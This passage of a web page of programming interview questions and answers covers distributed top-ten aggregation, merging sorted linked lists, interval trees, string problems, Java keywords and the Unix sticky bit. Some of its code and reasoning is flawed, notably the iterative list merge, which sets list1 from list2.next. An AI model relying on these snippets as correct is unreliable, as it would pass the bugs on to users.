&lt;b&gt;end proc&lt;/b&gt;
&lt;/pre&gt;
&lt;/div&gt;


&lt;p&gt;
&lt;a href=&quot;javascript:;&quot; onclick=&quot;javascript:showHideDivBT(&apos;bt3&apos;);&quot; style=&quot;text-decoration: none; outline: none;&quot;&gt; 
&lt;b&gt;3.&lt;/b&gt; Given a large network of computers, each keeping log files of visited urls, find the top ten of the most visited urls. &lt;br&gt;
(i.e. have many large &amp;lt;string (url) -&amp;gt; int (visits)&amp;gt; maps, calculate implicitly &amp;lt;string (url) -&amp;gt; int (sum of visits among all distributed maps)&amp;gt;, and get the top ten in the combined map)&lt;br&gt;
The result list must be exact, and the maps are too large to transmit over the network (especially sending all of them to a central server or using MapReduce directly, is not allowed)
&lt;/a&gt;
&lt;/p&gt;

&lt;div id=&apos;bt3&apos; style=&quot;border: solid 1px #666666; visibility: hidden; display: none; outline: none; padding: 4px;&quot;&gt;

&lt;p&gt;
&lt;b&gt;Intiuitive idea :&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
Let&apos;s use a distributed algorithm running this way
&lt;/p&gt;
&lt;p&gt;
Hypothesis: &lt;br&gt;
&lt;/p&gt;
&lt;pre&gt;
- Arrange every server logically by givien them numbers unique numbers from 1 to n with no holes
&lt;/pre&gt;
we can imagine a distributed algorithm running this way:
&lt;pre&gt;
- Each node initializes a new consolidated &amp;lt;string (url) -&amp;gt; int (sum of visits among all distributed maps)&amp;gt; map
- Each node computes its ten most visited URLs and put them in its consolidated map
- For i in 2 to n (= number of server) times
     - Node [i - 1]  communicates its ten most visited URLs from its consolidated map along with their visit 
	   counter to node n
     - At the same time, Node [i] receives from its right neihbour its set of ten most visited URL
     - Node [i] computes from this new set of ten URLS it has just received and its own set, the new set of ten 
	   most visited URLs and merges the resultin its consolidated map
- Node [n] now holds the answer
&lt;/pre&gt;
&lt;p&gt;
We end up in a O(mn) algorithm
&lt;/p&gt;
&lt;p&gt;
One should not that the algorithm can be significantly optimized by having several nodes working at the same time instead of just one at a time as above. &lt;br&gt;
For instance, we can imagine parallelizing the work following a rule of 2. And end up with the following example for n=20 &lt;br&gt;
&lt;/p&gt;
&lt;pre&gt;
Step 1 using t=2 : 1 -&gt; 2  3 -&gt; 4  5 -&gt; 6  7 -&gt; 8  9 -&gt;10 11-&gt;12 13-&gt;14 15-&gt;16 17-&gt;18 19-&gt;20
Step 2 using t=4 : 2 -&gt; 4  6 -&gt; 8  10-&gt;12  14-&gt;16  18-&gt;20 
Step 3 using t=8 : 4 -&gt; 8  12-&gt;16  
Step 3 using t=16: 8 -&gt;16
Step 4 (last)     : 16-&gt;20
&lt;/pre&gt;
&lt;p&gt;
&lt;span style=&quot;color: green;&quot;&gt;This concerptually the same as putting all co    mputers in a B-Tree and have at iteratrion 1 the lowest leaf communicates theur results to the higher node, 
then up and up again at each iteration until the root node has the result.&lt;/span&gt;
&lt;/p&gt;
&lt;p&gt;
Ending up this time in O(m log n)
&lt;/p&gt;
&lt;p&gt;
&lt;b&gt;&lt;span style=&quot;color: green;&quot;&gt;This works if the servers are not clusters load balancing the same application. If every server has a different set of URLs, the the global top ten is amongst the top ten of each invidual servers. &lt;br&gt;
If, on the other hand, several servers serve the same URLS, the global top ten may be consolidated froms URLs not listed in the individual top ten of each server. &lt;/span&gt;&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
&lt;b&gt;Distributed sorting&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
Another possibility, likely to perform better, is first sporting the data and then taking the top 10 results.
&lt;/p&gt;
&lt;p&gt;
See &lt;a href=&quot;http://dehn.slu.edu/courses/spring09/493/handouts/sorting.pdf&quot;&gt;http://dehn.slu.edu/courses/spring09/493/handouts/sorting.pdf&lt;/a&gt;
&lt;/p&gt;
&lt;/div&gt;


&lt;p&gt;
&lt;a href=&quot;javascript:;&quot; onclick=&quot;javascript:showHideDivBT(&apos;bt4&apos;);&quot; style=&quot;text-decoration: none; outline: none;&quot;&gt; 
&lt;b&gt;4.&lt;/b&gt; Merge two sorted linked lists &lt;br&gt;
When you merge two &quot;linked&quot; lists, there tend to be problems with &quot;conflicts&quot; between the lists (because they have a specific order to them and you are messing with the order).
&lt;/a&gt;
&lt;/p&gt;

&lt;div id=&apos;bt4&apos; style=&quot;border: solid 1px #666666; visibility: hidden; display: none; outline: none; padding: 4px;&quot;&gt;
&lt;p&gt;
Solution in C/C++: &lt;br&gt;
&lt;a href=&quot;http://www.geeksforgeeks.org/merge-two-sorted-linked-lists/&quot;&gt;http://www.geeksforgeeks.org/merge-two-sorted-linked-lists/&lt;/a&gt;
&lt;/p&gt;

&lt;table style=&quot;border: 0px none; margin-left: 10px; margin-right: 10px; vertical-align: top;&quot;&gt;&lt;tr&gt;
&lt;td style=&quot;vertical-align: top; padding-left: 20px; &quot;&gt;
Recursive solution: (Destructive algorithm)&lt;br&gt;
&lt;pre&gt;
Node MergeLists(Node list1, Node list2) {
  &lt;b&gt;if&lt;/b&gt; (list1 == null) {
     &lt;b&gt;return&lt;/b&gt; list2;
  } 
  &lt;b&gt;if&lt;/b&gt; (list2 == null) {
     &lt;b&gt;return&lt;/b&gt; list1;
  } 

  &lt;b&gt;if&lt;/b&gt; (list1.data &amp;lt; list2.data) {
     list1.next = MergeLists(list1.next, list2);
     &lt;b&gt;return&lt;/b&gt; list1;
  } &lt;b&gt;else&lt;/b&gt; {
     list2.next = MergeLists(list2.next, list1);
     &lt;b&gt;return&lt;/b&gt; list2;
  }
}
&lt;/pre&gt;&lt;/td&gt;
&lt;td style=&quot;vertical-align: top; padding-left: 20px; &quot;&gt;
Iterative solution: (Destructive as well)&lt;br&gt;
&lt;pre&gt;
Node mergeLists (Node list1, Node list2) {
  ret = NULL
  cur = NULL
  &lt;b&gt;while&lt;/b&gt; (list1 != null and list2 != null) {
     prev = cur
     &lt;b&gt;if&lt;/b&gt; (list1.data == list2.data) {
          // no duplicates here
          cur = list1
          list1 = list1.next
          list2 = list2.next
     } &lt;b&gt;else if&lt;/b&gt; (list1.data &amp;lt; list2.data) {
          cur = list1
          list1 = list1.next
     } &lt;b&gt;else&lt;/b&gt; {
          cur = list2
          list1 = list2.next
     }
     &lt;b&gt;if&lt;/b&gt; (ret == null) {
          ret = cur
     } &lt;b&gt;else&lt;/b&gt; {
          prev.next = cur
     }
  }

  &lt;b&gt;if&lt;/b&gt; (list1 == null) {
     cur.next = list2;
  } 
  &lt;b&gt;if&lt;/b&gt; (list2 == null) {
     cur.next = list1;
  }
  
  return ret 
}
&lt;/pre&gt;&lt;/td&gt;
&lt;/tr&gt;&lt;/table&gt;
&lt;br&gt;
&lt;/div&gt;



&lt;p&gt;
&lt;a href=&quot;javascript:;&quot; onclick=&quot;javascript:showHideDivBT(&apos;bt5&apos;);&quot; style=&quot;text-decoration: none; outline: none;&quot;&gt; 
&lt;b&gt;5.&lt;/b&gt; Given a set of intervals (time in seconds) find the set of intervals that overlap
&lt;/a&gt;
&lt;/p&gt;

&lt;div id=&apos;bt5&apos; style=&quot;border: solid 1px #666666; visibility: hidden; display: none; outline: none; padding: 4px;&quot;&gt;
&lt;p&gt;
Given a list of intervals, ([x1,y1],[x2,y2],...), what is the most efficient way to find all such intervals that overlap with [x,y]?
&lt;/p&gt;
&lt;p&gt;
It depends:
&lt;/p&gt;
&lt;p&gt;
&lt;b&gt;1. &lt;/b&gt; If the question is to be answered only once for one single interval, then we&apos;re better of with a one time (O(n)) run through all intervals and return the set of intervals that respect
&lt;/p&gt;
&lt;pre&gt;
xStart &amp;lt; yEnd and xEnd &gt; yStart
&lt;/pre&gt;

&lt;p&gt;
&lt;b&gt;2. &lt;/b&gt; On the other hand, if the question should be answered again and again, we&apos;re better of with a complexe data structure :
&lt;/p&gt;
&lt;p&gt;
&lt;b&gt;2.a Using an &quot;interval tree&quot;&lt;/b&gt; 
&lt;/p&gt;
&lt;p&gt;
In computer science, an interval tree is an ordered tree data structure to hold intervals.&lt;br&gt;
Specifically, it allows one to efficiently find all intervals that overlap with any given interval or point. It is often used for windowing queries, for instance, to 
find all roads on a computerized map inside a rectangular viewport, or to find all visible elements inside a three-dimensional scene.
&lt;/p&gt;
&lt;p&gt;
&lt;b&gt;Construction&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
Given a set of n intervals on the number line, we want to construct a data structure so that we can efficiently retrieve all intervals overlapping another interval or point.
&lt;/p&gt;
&lt;p&gt;
We start by taking the entire range of all the intervals and dividing it in half at &lt;i&gt;x_center&lt;/i&gt; (in practice, &lt;i&gt;x_center&lt;/i&gt; should be picked to keep the tree relatively balanced). &lt;br&gt;
This gives three sets of intervals, those completely to the left of &lt;i&gt;x_center&lt;/i&gt; which we&apos;ll call &lt;i&gt;S_left&lt;/i&gt;, those completely to the right of &lt;i&gt;x_center&lt;/i&gt; which we&apos;ll call &lt;i&gt;S_right&lt;/i&gt;, 
and those overlapping &lt;i&gt;x_center&lt;/i&gt; which we&apos;ll call &lt;i&gt;S_center&lt;/i&gt;.
&lt;/p&gt;
&lt;p&gt;
The intervals in &lt;i&gt;S_left&lt;/i&gt; and &lt;i&gt;S_right&lt;/i&gt; are &lt;b&gt;recursively divided in the same manner until there are no intervals left.&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
The intervals in &lt;i&gt;S_center&lt;/i&gt; that overlap the center point are stored in a separate data structure linked to the node in the interval tree. This data structure consists 
of two lists, one containing all the intervals sorted by their beginning points, and another containing all the intervals sorted by their ending points.
&lt;/p&gt;
&lt;p&gt;
The result is a binary tree with each node storing:
&lt;/p&gt;

&lt;ul&gt;
    &lt;li&gt;A center point&lt;/li&gt;
    &lt;li&gt;A pointer to another node containing all intervals completely to the left of the center point&lt;/li&gt;
    &lt;li&gt;A pointer to another node containing all intervals completely to the right of the center point&lt;/li&gt;
    &lt;li&gt;All intervals overlapping the center point sorted by their beginning point&lt;/li&gt;
    &lt;li&gt;All intervals overlapping the center point sorted by their ending point&lt;/li&gt;
&lt;/ul&gt;    

&lt;p&gt;
Construction requires O(n log n) time, and storage requires O(n &lt;span style=&quot;color:red;&quot;&gt;+&lt;/span&gt; log n) = O(n) space.
&lt;/p&gt;
&lt;p&gt;
Example for following intervals:
&lt;/p&gt;

&lt;pre&gt;
                     c=     
a=[1..............6][78][9..10]=g
b=[1...2][3...4][5....8][9....11]=h                    
          d=     e=  [8..9][1011]=i
                     f=
&lt;/pre&gt;

&lt;p&gt;
Gives us this tree:
&lt;/p&gt;

&lt;pre&gt; 
                                 Nr (6)
                                 &amp;lt;[a,e]
                                 &gt;[e,a]
                             /             \
                          /                  \
                      Nl1 (3)             Nl2 (9)
                      &amp;lt;[d]                &amp;lt;[f,g,h]
                      &gt;[d]                &gt;[g,h,f]
                 /                     /             \
              /                     /                    \
         Nl3 (2)                Nl4 (8)                Nl4 (11)
         &amp;lt;[b]                   &amp;lt;[c]                   &amp;lt;[i] 
         &gt;[b]                   &gt;[c]                   &gt;[i] 
                        
&lt;/pre&gt;

&lt;p&gt;
Given the data structure constructed above, we receive queries consisting of ranges or points, and return all the ranges in the original set overlapping this input.
&lt;/p&gt;
&lt;p&gt;
&lt;b&gt;a) Intersecting with an interval&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
We have now a simpe and recursive method. We start at each node (root initially) :
&lt;/p&gt;

&lt;ul&gt;
     &lt;li&gt;If the value is contained in the interval, add all stored intervals to result list
         &lt;ul&gt;
             &lt;li&gt;recursively call left&lt;/li&gt;
             &lt;li&gt;recursively call right&lt;/li&gt;
         &lt;/ul&gt;
     &lt;/li&gt;
     &lt;li&gt; ELSE if the value is not contained in the interval but before the interval start
         &lt;ul&gt;
             &lt;li&gt;search end point list for intervals ending after searched interval starts and add them to result list&lt;/li&gt;
             &lt;li&gt;recursively call right&lt;/li&gt;
         &lt;/ul&gt;
     &lt;/li&gt;
     &lt;li&gt; ELSE if the value is not contained in the interval but after the interval ends
         &lt;ul&gt;
             &lt;li&gt;search start point list for intervals starting before searched interval ends and add them to result list&lt;/li&gt;
             &lt;li&gt;recursively call left&lt;/li&gt;
         &lt;/ul&gt;
     &lt;/li&gt;
&lt;/ul&gt;     

&lt;p&gt;
We end up with the set of overlaping intervals.
&lt;/p&gt;
&lt;p&gt;
In average O(log n), O(n) in the worst case.
&lt;/p&gt;
&lt;p&gt;
&lt;b&gt;b) interseting with a point&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
Almost the same algorithm applies for a search with a point:
&lt;/p&gt;

&lt;ul&gt;
     &lt;li&gt;if the value is before the searched value
         &lt;ul&gt;
             &lt;li&gt;search end point list for intervals ending after searched value and add them to result list&lt;/li&gt;
             &lt;li&gt;recursively call right&lt;/li&gt;
         &lt;/ul&gt;
     &lt;/li&gt;
     &lt;li&gt; ELSE if the value is after the searched value
         &lt;ul&gt;
             &lt;li&gt;search start point list for intervals starting before searched value and add them to result list&lt;/li&gt;
             &lt;li&gt;recursively call left&lt;/li&gt;
         &lt;/ul&gt;
     &lt;/li&gt;
&lt;/ul&gt;     

&lt;p&gt;
Source on wikipedia : &lt;a href=&quot;http://en.wikipedia.org/wiki/Interval_tree&quot;&gt;http://en.wikipedia.org/wiki/Interval_tree&lt;/a&gt;&lt;br&gt;
and &lt;a href=&quot;http://en.wikipedia.org/wiki/Segment_tree&quot;&gt;http://en.wikipedia.org/wiki/Segment_tree&lt;/a&gt;
&lt;/p&gt;
&lt;/div&gt;


&lt;p&gt;
&lt;a href=&quot;javascript:;&quot; onclick=&quot;javascript:showHideDivBT(&apos;bt6&apos;);&quot; style=&quot;text-decoration: none; outline: none;&quot;&gt; 
&lt;b&gt;6.&lt;/b&gt; If we had a list of n nodes, what are the maximum number of edges there can be for a directed acyclic graph? &lt;br&gt;
You have to draw lines between nodes, but never have a clear path of returning to the original node regardless of where you&apos;re starting.
&lt;/a&gt;
&lt;/p&gt;

&lt;div id=&apos;bt6&apos; style=&quot;border: solid 1px #666666; visibility: hidden; display: none; outline: none; padding: 4px;&quot;&gt;
&lt;img alt=&quot;example graph&quot; src=&quot;http://static6.businessinsider.com/image/4f285f4769bedd9b5a000001-400-300/4-if-we-had-a-list-of-n-nodes-what-are-the-maximum-number-of-edges-there-can-be-for-a-directed-acyclic-graph.jpg&quot;&gt;&lt;br&gt;
&lt;pre&gt;
If you look at a graph of size 1, it&apos;s 0.
2, it&apos;s 1.
3, it&apos;s 3 (a -&gt; b, a -&gt;c, b -&gt;c)
4, it&apos;s 6 (a -&gt; b, a -&gt; c, a -&gt;d, b-&gt;c, b-&gt;d, c-&gt;d)
&lt;/pre&gt;

&lt;p&gt;
If you notice, the first node points to all of the other nodes except itself, the next node points to all the other nodes except the first node and itself, and this keeps decreasing by one, so you get (n-1) + (n-2) + ... + 2 + 1
&lt;/p&gt;
&lt;p&gt;
&lt;b&gt;Knowing that the sum of all number from 0 to n = (n x (n+1))/2, this is the sum of 1 to n-1, which is (n x (n-1))/2.&lt;/b&gt;
&lt;/p&gt;
&lt;/div&gt;



&lt;p&gt;
&lt;a href=&quot;javascript:;&quot; onclick=&quot;javascript:showHideDivBT(&apos;bt7&apos;);&quot; style=&quot;text-decoration: none; outline: none;&quot;&gt; 
&lt;b&gt;7.&lt;/b&gt;  What&apos;s the difference between finally, final and finalize in Java?
&lt;/a&gt;
&lt;/p&gt;

&lt;div id=&apos;bt7&apos; style=&quot;border: solid 1px #666666; visibility: hidden; display: none; outline: none; padding: 4px;&quot;&gt;
&lt;ul&gt;
&lt;li&gt;Finally: deals with exception handling: a finally block is always executed no matter whether or not the internal block threw an exception. If an exception has been thrown, the finally 
    block is executed after the exception handler &lt;/li&gt;
&lt;li&gt;A final variable cannot be changed after construction. In case the variable is a reference (in opposition to a primitive type), its reference cannot be changed. The referenced 
    object can however be modified if its not immutable.&lt;/li&gt;
&lt;li&gt;The finalize method on an object is called upon garbage collection. &lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;


&lt;p&gt;
&lt;a href=&quot;javascript:;&quot; onclick=&quot;javascript:showHideDivBT(&apos;bt8&apos;);&quot; style=&quot;text-decoration: none; outline: none;&quot;&gt; 
&lt;b&gt;8.&lt;/b&gt; Remove duplicate lines from a large text
&lt;/a&gt;
&lt;/p&gt;

&lt;div id=&apos;bt8&apos; style=&quot;border: solid 1px #666666; visibility: hidden; display: none; outline: none; padding: 4px;&quot;&gt;
&lt;p&gt;
Simple brute-force solution (very little memory consumption): Do an n^2 pass through the file and remove duplicate lines. &lt;br&gt;
Speed: O(n^2), Memory: constant
&lt;/p&gt;
&lt;p&gt;

Fast (but poor, memory consumption): Hashing solution (see below): hash each line, store them in a map of some sort and remove a line whose has already exists. &lt;br&gt;
Speed: O(n), memory: O(n)
&lt;/p&gt;
&lt;p&gt;

If you&apos;re willing to sacrifice file order (I assume not, but I&apos;ll add it): You can sort the lines, then pass through removing duplicates. &lt;br&gt;
speed: O(n*log(n)), Memory: constant
&lt;/p&gt;
&lt;p&gt;

Hashing solution:
&lt;/p&gt;
&lt;p&gt;

If you have unlimited (or very fast) disk i/o, you could write each line to its own file with the filename being the hash + some identifier indicating order (or no order, 
if order is irrelevant). In this manner, you use the file-system as extended memory. This should be much faster than re-scanning the whole file for each line.
&lt;/p&gt;
&lt;p&gt;

In addition, if you expect a high duplicate rate, you could maintain some threshold of the hashes in memory as well as in file. This would give much better results for high 
duplicate rates. Since the file is so large, I doubt n^2 is acceptable in processing time. My solution is O(n) in processing speed and O(1) in memory. It&apos;s O(n) in 
required disk space used during runtime, however, which other solutions do not have.
&lt;/p&gt;
&lt;/div&gt;


&lt;p&gt;
&lt;a href=&quot;javascript:;&quot; onclick=&quot;javascript:showHideDivBT(&apos;bt9&apos;);&quot; style=&quot;text-decoration: none; outline: none;&quot;&gt; 
&lt;b&gt;9.&lt;/b&gt;  Given a string, find the minimum window containing a given set of characters
&lt;/a&gt;
&lt;/p&gt;

&lt;div id=&apos;bt9&apos; style=&quot;border: solid 1px #666666; visibility: hidden; display: none; outline: none; padding: 4px;&quot;&gt;

&lt;p&gt;
Let&apos;s use S = &apos;acbbaca&apos; and T = &apos;aba&apos;. The idea is mainly based on the help of two pointers (begin and end position of the window) and two tables (needToFind and hasFound) while traversing S. needToFind stores the total count of a character in T and hasFound stores the total count of a character met so far. We also use a count variable to store the total characters in T that&apos;s met so far (not counting characters where hasFound[x] exceeds needToFind[x]). When count equals T&apos;s length, we know a valid window is found.
&lt;/p&gt;
&lt;p&gt;
Each time we advance the end pointer (pointing to an element x), we increment hasFound[x] by one. We also increment count by one if hasFound[x] is less than or equal to needToFind[x]. Why? When the constraint is met (that is, count equals to T&apos;s size), we immediately advance begin pointer as far right as possible while maintaining the constraint.
&lt;/p&gt;
&lt;p&gt;
How do we check if it is maintaining the constraint? Assume that begin points to an element x, we check if hasFound[x] is greater than needToFind[x]. If it is, we can decrement hasFound[x] by one and advancing begin pointer without breaking the constraint. On the other hand, if it is not, we stop immediately as advancing begin pointer breaks the window constraint.
&lt;/p&gt;
&lt;p&gt;
Finally, we check if the minimum window length is less than the current minimum. Update the current minimum if a new minimum is found.
&lt;/p&gt;
&lt;p&gt;
Essentially, the algorithm finds the first window that satisfies the constraint, then continue maintaining the constraint throughout. 
&lt;/p&gt;

&lt;img alt=&quot;minimum window example 1&quot; src=&quot;http://2.bp.blogspot.com/_UElib2WLeDE/TOBuvjG6exI/AAAAAAAACYE/uludVXtJ8OY/s400/sliding.gif&quot; /&gt; 

&lt;p&gt;
i) S = &apos;acbbaca&apos; and T = &apos;aba&apos;.
&lt;/p&gt;

&lt;img alt=&quot;minimum window example 2&quot; src=&quot;http://4.bp.blogspot.com/_UElib2WLeDE/TOBvHRLbOAI/AAAAAAAACYI/38QLgUIMePU/s400/sliding_2.gif&quot; /&gt; 

&lt;p&gt;
ii) The first minimum window is found. Notice that we cannot advance begin pointer as hasFound[&apos;a&apos;] == needToFind[&apos;a&apos;] == 2. Advancing would mean breaking the constraint.
&lt;/p&gt;

&lt;img alt=&quot;minimum window example 3&quot; src=&quot;http://3.bp.blogspot.com/_UElib2WLeDE/TOBvLH1aLcI/AAAAAAAACYM/pbJLl7qoduo/s400/sliding_3.gif&quot; /&gt; 

&lt;p&gt;
iii) The second window is found. begin pointer still points to the first element &apos;a&apos;. hasFound[&apos;a&apos;] (3) is greater than needToFind[&apos;a&apos;] (2). We decrement hasFound[&apos;a&apos;] by one and advance begin pointer to the right.
&lt;/p&gt;

&lt;img alt=&quot;minimum window example 4&quot; src=&quot;http://2.bp.blogspot.com/_UElib2WLeDE/TOBvOljpz0I/AAAAAAAACYQ/TxuWgWGTOF4/s400/sliding_4.gif&quot; /&gt; 

&lt;p&gt;
iv) We skip &apos;c&apos; since it is not found in T. Begin pointer now points to &apos;b&apos;. hasFound[&apos;b&apos;] (2) is greater than needToFind[&apos;b&apos;] (1). We decrement hasFound[&apos;b&apos;] by one and advance begin pointer to the right.
&lt;/p&gt;

&lt;img alt=&quot;minimum window example 5&quot; src=&quot;http://2.bp.blogspot.com/_UElib2WLeDE/TOBvSOl6RdI/AAAAAAAACYU/R4O1dPXVvBQ/s400/sliding_5.gif&quot; /&gt; 

&lt;p&gt;
v) Begin pointer now points to the next &apos;b&apos;. hasFound[&apos;b&apos;] (1) is equal to needToFind[&apos;b&apos;] (1). We stop immediately and this is our newly found minimum window.
&lt;/p&gt;
&lt;p&gt;

Both the begin and end pointers can advance at most N steps (where N is S&apos;s size) in the worst case, adding to a total of 2N times. Therefore, the run time complexity must be in O(N).
&lt;/p&gt;

&lt;pre&gt;

// Returns false if no valid window is found. Else returns
// true and updates minWindowBegin and minWindowEnd with the
// starting and ending position of the minimum window.
bool minWindow(&lt;b&gt;const char&lt;/b&gt;* S, &lt;b&gt;const char&lt;/b&gt; *T,
                    &lt;b&gt;int&lt;/b&gt; &amp;minWindowBegin, &lt;b&gt;int&lt;/b&gt; &amp;minWindowEnd) {
  &lt;b&gt;int&lt;/b&gt; sLen = strlen(S);
  &lt;b&gt;int&lt;/b&gt; tLen = strlen(T);
  &lt;b&gt;int&lt;/b&gt; needToFind[256] = {0};
 
  &lt;b&gt;for&lt;/b&gt; (&lt;b&gt;int&lt;/b&gt; i = 0; i &amp;lt; tLen; i++)
     needToFind[T[i]]++;
 
  &lt;b&gt;int&lt;/b&gt; hasFound[256] = {0};
  &lt;b&gt;int&lt;/b&gt; minWindowLen = INT_MAX;
  &lt;b&gt;int&lt;/b&gt; count = 0;
  &lt;b&gt;for&lt;/b&gt; (&lt;b&gt;int&lt;/b&gt; begin = 0, end = 0; end &amp;lt; sLen; end++) {
     // skip characters not in T
     &lt;b&gt;if&lt;/b&gt; (needToFind[S[end]] == 0) continue;
     hasFound[S[end]]++;
     &lt;b&gt;if&lt;/b&gt; (hasFound[S[end]] &amp;lt;= needToFind[S[end]])
        count++;
 
     // if window constraint is satisfied
     &lt;b&gt;if&lt;/b&gt; (count == tLen) {
        // advance begin index as far right as possible,
        // stop when advancing breaks window constraint.
        &lt;b&gt;while&lt;/b&gt; (needToFind[S[begin]] == 0 ||
                hasFound[S[begin]] &gt; needToFind[S[begin]]) {
          &lt;b&gt;if&lt;/b&gt; (hasFound[S[begin]] &gt; needToFind[S[begin]])
             hasFound[S[begin]]--;
          begin++;
        }
 
        // update minWindow if a minimum length is met
        &lt;b&gt;int&lt;/b&gt; windowLen = end - begin + 1;
        &lt;b&gt;if&lt;/b&gt; (windowLen &amp;lt; minWindowLen) {
          minWindowBegin = begin;
          minWindowEnd = end;
          minWindowLen = windowLen;
        } // end if
     } // end if
  } // end for
 
  return (count == tLen) ? true : false;
&lt;/pre&gt;

&lt;p&gt;
This actually works:
&lt;/p&gt;

&lt;pre&gt;
a c b d a b a c d a c b d a
[       ]
[           ]
    [       ]
        [---]
        [         ]
          [       ]
          [           ]
            [         ]
            [             ]
                  [       ]
&lt;/pre&gt;

&lt;p&gt;
Source : &lt;a href=&quot;http://discuss.leetcode.com/questions/97/minimum-window-substring&quot;&gt;http://discuss.leetcode.com/questions/97/minimum-window-substring&lt;/a&gt;
&lt;/p&gt;
&lt;/div&gt;



&lt;p&gt;
&lt;a href=&quot;javascript:;&quot; onclick=&quot;javascript:showHideDivBT(&apos;bt10&apos;);&quot; style=&quot;text-decoration: none; outline: none;&quot;&gt; 
&lt;b&gt;10.&lt;/b&gt;  Write a program to compute if one string is a rotation of another &lt;br&gt;
For example, &quot;strings&quot; usually refer to lines of letters, words or something that is meant to be printed and seen. But they can also refer to matrices (a two-dimensional object) and other kinds of objects. &lt;br&gt;
You have to check if you can rotate them and check them against existing strings
&lt;/a&gt;
&lt;/p&gt;

&lt;div id=&apos;bt10&apos; style=&quot;border: solid 1px #666666; visibility: hidden; display: none; outline: none; padding: 4px;&quot;&gt;
&lt;p&gt;
&lt;b&gt;Rotating a string means rotating two parts of a string around a pivot&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
Example:
&lt;/p&gt;
&lt;p&gt;
If &lt;code&gt;s1 = &quot;stackoverflow&quot;&lt;/code&gt; then the following are some of its rotated versions:
&lt;/p&gt;

&lt;pre&gt;
&quot;tackoverflows&quot;
&quot;ackoverflowst&quot;
&quot;overflowstack&quot;
&lt;/pre&gt;

&lt;p&gt;
Solution: 
&lt;/p&gt;
&lt;p&gt;
First make sure s1 and s2 are of the same length. Then check to see if s2 is a substring of s1 concatenated with s1:
&lt;/p&gt;

&lt;pre&gt;
&lt;b&gt;algorithm&lt;/b&gt; checkRotation(string s1, string s2) 
  &lt;b&gt;if&lt;/b&gt; (len(s1) != len(s2))
     &lt;b&gt;return false&lt;/b&gt;
  &lt;b&gt;if&lt;/b&gt; (substring(s2,concat(s1,s1))
     &lt;b&gt;return true&lt;/b&gt;
  &lt;b&gt;return false&lt;/b&gt;
&lt;b&gt;end&lt;/b&gt;
&lt;/pre&gt;

&lt;p&gt;
In Java:
&lt;/p&gt;

&lt;pre&gt;
&lt;b&gt;boolean&lt;/b&gt; isRotation(String s1,String s2) {
     &lt;b&gt;return&lt;/b&gt; (s1.length() == s2.length()) &amp;&amp; ((s1+s1).indexOf(s2) != -1);
}
&lt;/pre&gt;
&lt;/div&gt;



&lt;p&gt;
&lt;a href=&quot;javascript:;&quot; onclick=&quot;javascript:showHideDivBT(&apos;bt11&apos;);&quot; style=&quot;text-decoration: none; outline: none;&quot;&gt; 
&lt;b&gt;11.&lt;/b&gt;  What is the sticky bit and why is it used?
&lt;/a&gt;
&lt;/p&gt;

&lt;div id=&apos;bt11&apos; style=&quot;border: solid 1px #666666; visibility: hidden; display: none; outline: none; padding: 4px;&quot;&gt;
&lt;p&gt;
&lt;b&gt;Traditional behaviour on executables&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
The sticky bit was introduced in the Fifth Edition of Unix for use with pure executable files. When set, it instructed the operating system to retain the text segment of the program in swap space after the process exited. This speeds up subsequent executions by allowing the kernel to make a single operation of moving the program from swap to real memory. Thus, frequently-used programs like editors would load noticeably faster. One notable problem with &quot;stickied&quot; programs was replacing the executable (for instance, during patching); to do so required removing the sticky bit from the executable, executing the program and exiting to flush the cache, replacing the binary executable, and then restoring the sticky bit.
&lt;/p&gt;
&lt;p&gt;
Currently, this behavior is only operative in HP-UX, NetBSD, and UnixWare. Solaris appears to have abandoned this in 2005.[citation needed] The 4.4-Lite release of BSD retained the old sticky bit behavior but it has been subsequently dropped from OpenBSD (as of release 3.7) and FreeBSD (as of release 2.2.1); it remains in NetBSD. No version of Linux has ever supported this traditional behaviour.
&lt;/p&gt;
&lt;p&gt;
&lt;b&gt;Behaviour on folders&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
The most common use of the sticky bit today is on directories. When the sticky bit is set, only the item&apos;s owner, the directory&apos;s owner, or the superuser can rename or delete files. Without the sticky bit set, any user with write and execute permissions for the directory can rename or delete contained files, regardless of owner. Typically this is set on the /tmp directory to prevent ordinary users from deleting or moving other users&apos; files. This feature was introduced in 4.3BSD in 1986 and today it is found in most modern Unix systems.
&lt;/p&gt;
&lt;p&gt;
Source : &lt;a href=&quot;http://en.wikipedia.org/wiki/Sticky_bit&quot;&gt;http://en.wikipedia.org/wiki/Sticky_bit&lt;/a&gt;.
&lt;/p&gt;
&lt;/div&gt;



&lt;p&gt;
&lt;a href=&quot;javascript:;&quot; onclick=&quot;javascript:showHideDivBT(&apos;bt12&apos;);&quot; style=&quot;text-decoration: none; outline: none;&quot;&gt; 
&lt;b&gt;12.&lt;/b&gt; 
Describe quicksort algorithm and explain in time and memory complexity&lt;br&gt;
&lt;span style=&quot;color: green&quot;&gt;[Quick Sort and Partition algorithms]&lt;/span&gt;
&lt;/a&gt;
&lt;/p&gt;

&lt;div id=&apos;bt12&apos; style=&quot;border: solid 1px #666666; visibility: hidden; display: none; outline: none; padding: 4px;&quot;&gt;
&lt;p&gt;
Quicksort is a divide and conquer algorithm. Quicksort first divides a large list into two smaller sub-lists: the low elements and the high elements. Quicksort can then recursively sort the sub-lists.
&lt;/p&gt;
&lt;p&gt;
The steps are:
&lt;/p&gt;

&lt;ol&gt;
     &lt;li&gt;Pick an element, called a pivot, from the list.&lt;/li&gt;
     &lt;li&gt;Reorder the list so that all elements with values less than the pivot come before the pivot, while all elements with values greater than the pivot come after it (equal values can go either way). After this partitioning, the pivot is in its final position. This is called the partition operation.&lt;/li&gt;
     &lt;li&gt;Recursively sort the sub-list of lesser elements and the sub-list of greater elements.&lt;/li&gt;
&lt;/ol&gt;   

&lt;p&gt;  
The base case of the recursion are lists of size zero or one, which never need to be sorted.
&lt;/p&gt;
&lt;p&gt;
&lt;b&gt;Naive implementation&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
In simple pseudocode, the algorithm might be expressed as this:
&lt;/p&gt;

&lt;pre&gt;
